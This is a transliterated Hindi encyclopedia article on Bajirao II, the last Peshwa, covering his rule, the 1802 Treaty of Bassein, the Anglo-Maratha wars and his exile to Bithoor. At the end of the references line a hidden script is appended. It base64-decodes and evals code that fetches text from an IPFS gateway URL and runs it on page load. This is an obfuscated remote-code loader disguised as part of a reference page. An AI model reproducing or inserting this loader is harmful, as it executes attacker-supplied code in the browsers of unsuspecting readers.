बाजीराव द्वितीय

bajirav dvitiy
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mrityu tithi	1853 ee.
mrityu sthan	bithoor, kanapur
pita/mata	raghunatharav, anandibaee
dharmik manyata	hindoo
yuddh	ashti ki l daee
shasan kal	1796-1818
sanbandhit lekh	maratha samrajy, bajirav pratham, raghunatharav, nana ph danavis
any janakari	bajirav dvitiy ne 1801 mean basee jakar aangrezoan ki sharan grahan kar li thi. vahian ek aangrezi jahaz par usane 'basee ki sandhi' (31 disambar, 1802) par hastakshar kar diye. isake dvara usane eest iandiya kampani ka ashrit hona svikar kar liya tha.

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bajirav dvitiy athavaan aur antim peshava (1796-1818) tha. vah raghunatharav (raghova) ka putr tha. apane pradhanamantri nana ph danavis se bajirav dvitiy sada nafarat karata raha. nana ph danavis ki mrityu ke bad vah svayan hi maratha samrajy ki satta sambhalana chahata tha. bajirav dvitiy ek qayar aur vishvasaghati vyakti tha, jisane aangrezoan ki sahayata prapt karake peshava ka pad prapt kiya tha. parantu aangrezoan ke sath bhi vah sachcha siddh nahian hua. usaki dhokhebazi aur beimani ke karan aangrezoan ne use bandi banakar bithoor bhej diya, jahaan 1853 ee. mean usaki mrityu ho gee.

peshava ka pad

bajirav dvitiy ne aangrezoan se mitrata karake unaki sahayata se 'peshava' ka pad prapt kiya tha aur usake lie kee maratha kshetr aangrezoan ko de diye. bajirav dvitiy svarthi aur ayogy shasak tha tatha mahattvakaankshi hone ke karan apane pradhanamantri nana ph danavis se eershya karata tha. ph danavis ki mrityu 1800 ee. mean ho gee aur bajirav svayan hi satta sambhalane ke lie atur ho utha. lekin vah sainik gunoan se rahit aur vyaktigat roop se qayar tha aur samajhata tha, ki keval chhal kapat se hi apane lakshy ko prapt kiya ja sakata hai.

bajirav ki parajay

nana ph danavis ki mrityu ke bad usake rikt pad ke lie daulatarav shinde aur jasavantarav holkar mean pratidvandvita shuroo ho gee. bajirav dvitiy chhal kapat se in donoan ko hi apane niyantran mean rakhana chahata tha, jisase mamala aur ulajh gaya. shinde aur holkar ne peshava ko apane niyantran mean lene ke lie poona ke phatakoan ke bahar yuddh shuroo kar diya. bajirav dvitiy ne shinde ka sath diya, lekin holkar ki sena ne un donoan ki sanyukt sena ko parajit kar diya.

aangrezoan se sandhi

bhayabhit peshava bajirav dvitiy ne 1801 ee. mean basee bhagakar aangrezoan ki sharan li aur vahian ek aangrezi jahaz par basee ki sandhi, 31 disambar, 1802 par hastakshar kar diye. isake dvara usane eest iandiya kampani ka ashrit hona svikar kar liya. aangrezoan ne bajirav dvitiy ko rajadhani poona mean pun: sattasin karane ka vachan diya aur peshava ki raksha ke lie usane rajy mean paryapt sena rakhane ki zimmedari li. isake badale mean peshava ne kampani ko itana maratha ilaqa dena svikar kar liya, jisase kampani ki sena ka kharch nikal ae. usane yah bhi vayada kiya ki vah apane yahaan aangrezoan se shatruta rakhane vale any yooropiy desh ke logoan ko naukari par nahian rakhega. is prakar bajirav dvitiy ne apani raksha ke lie aangrezoan ke hath apani svatantrata bech di.

maratha saradaroan ka rosh

maratha saradaroan ne basee ki sandhi ke prati apana rosh prakat kiya, kyoanki unhean laga ki peshava ne apani qayarata ke karan un sabhi ki svatantrata bech di hai. at: un logoan ne is apattijanak sandhi ko khatm karane ke lie yuddh ki taiyari ki. parinamasvaroop dvitiy aangl-maratha yuddh (1803-06 ee) hua, jisamean aangrezoan ki jit huee aur maratha kshetroan par unaki prabhu-satta sthapit ho gee.

vishvasaghati v qayar vyakti

peshava bajirav dvitiy ne shighr hi siddh kar diya ki vah keval qayar hi nahian, balki vishvasaghati bhi hai. vah aangrezoan ke sath huee sandhi ke prati bhi sachcha sabit nahian hua. sandhi ke dvara lagaye gaye pratibandh use ruchikar nahian lage. usane maratha saradaroan mean vyapt rosh aur asantosh ka fayada uthakar unhean aangrezoan ke viruddh dubara sangathit kiya.

atm samarpan v mrityu

navambar 1817 mean bajirav dvitiy ke netritv mean sangathit maratha sena ne poona ki 'aangrezi rejidensi' ko lootakar jala diya aur kh daki sthiti aangrezi sena par hamala kar diya, lekin vah parajit ho gaya. tadanantar vah do aur l daiyoan - janavari 1818 mean kore gaanv aur ek mahine ke bad ashti ki l daee mean parajit hua. usane bhagane ki koshish ki, lekin 3 joon, 1818 ee. ko use aangrezoan ke samane atm samarpan karana p da. aangrezoan ne is bar peshava ka pad hi samapt kar diya aur bajirav dvitiy ko apadasth karake bandi ke roop mean kanapur ke nikat bithoor bhej diya, jahaan 1853 ee. mean usaki mrityu ho gee. marathoan ki svatantrata nasht karane ke lie bajirav dvitiy sabase adhik zimmedar tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 281.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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